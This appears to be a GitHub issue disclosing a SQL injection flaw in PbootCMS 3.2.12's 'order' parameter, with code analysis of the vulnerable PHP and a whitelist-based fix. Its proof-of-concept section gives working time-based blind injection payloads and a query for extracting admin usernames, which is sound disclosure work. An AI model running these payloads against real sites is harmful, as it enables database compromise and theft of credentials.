Skip to content

PbootCMS 3.2.12 - SQL Injection via Order Parameter #5

@cyl-love

Description

@cyl-love

supplier

https://github.com/hnaoyun/PbootCMS

Vulnerability file

apps/home/controller/ParserController.php
core/basic/Model.php

describe

Code analysis

In ParserController.php, the order parameter from template tags {pboot:list} and {pboot:search} is processed without proper sanitization:

// Line 1255-1267
default:
    if ($value) {
        $orders = explode(',', $value);
        foreach ($orders as $k => $v) {
            if (strpos($v, 'ext_') === 0) {
                $orders[$k] = 'e.' . $v;
            } else {
                $orders[$k] = 'a.' . $v;  // No validation!
            }
        }
        $value = implode(',', $orders);
        $order = $value;  // Directly used in SQL!
    }

The Model::order() method directly concatenates the input into SQL:

// Model.php Line 659
$this->sql['order'] = 'ORDER BY ' . $order;  // Direct concatenation!

This allows attackers to inject arbitrary SQL through the order parameter.

POC

Method 1: Via template tag

{pboot:list scode=1 order=id,(SELECT SLEEP(5))}
    [list:title]
{/pboot:list}

Method 2: Via search parameter

GET /search.html?keyword=test&order=id,(SELECT SLEEP(5)) HTTP/1.1
Host: target.com

Time-based blind injection:

order=id,(SELECT SLEEP(5))
order=id;SELECT SLEEP(5)--
order=id AND (SELECT SLEEP(5) FROM ay_user WHERE username='admin')

Data extraction:

order=id,(SELECT CASE WHEN (SELECT username FROM ay_user LIMIT 1)='admin' THEN 1 ELSE 2 END)

Result:

  • The SQL query is executed with injected payload
  • Database responds with 5 second delay (SLEEP)
  • Can extract sensitive data including admin credentials

Impact

  • Complete database compromise
  • User credential extraction (passwords, emails)
  • Authentication bypass
  • Potential remote code execution via file write into web directory

Fix suggestion

// Fixed code
case 'order':
    $allowed_orders = ['id', 'date', 'sorting', 'istop', 'isrecommend', 'isheadline', 'visits', 'likes', 'oppose'];
    $orders = explode(',', $value);
    $safe_orders = [];
    foreach ($orders as $v) {
        $v = trim($v);
        $parts = preg_split('/\s+/', $v);
        $field = $parts[0];
        $direction = isset($parts[1]) ? strtoupper($parts[1]) : 'DESC';
        
        if (in_array($field, $allowed_orders) && in_array($direction, ['ASC', 'DESC'])) {
            $safe_orders[] = 'a.' . $field . ' ' . $direction;
        }
    }
    if ($safe_orders) {
        $order = implode(',', $safe_orders) . ',a.istop DESC';
    }
    break;

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions